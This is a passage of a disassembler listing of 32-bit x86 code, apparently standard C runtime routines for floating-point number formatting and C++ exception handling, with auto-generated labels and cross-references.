[eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8E0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB340, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB33C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C538 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB340, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB340, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB344 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB33C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C538 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB340, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB33C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB344, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB33C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB344, ecx setl cl mov byte_4DB348, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB344, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB340, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB340, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB340, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB340, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB34C test esi, esi jz loc_421F28 mov eax, dword_4DB350 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB354, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB34C mov [ebp+var_1C], ecx mov ecx, dword_4DB350 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB34C, edi mov ecx, [ebp+arg_8] mov dword_4DB350, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB34C, eax mov eax, [ebp-20h] mov dword_4DB350, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push 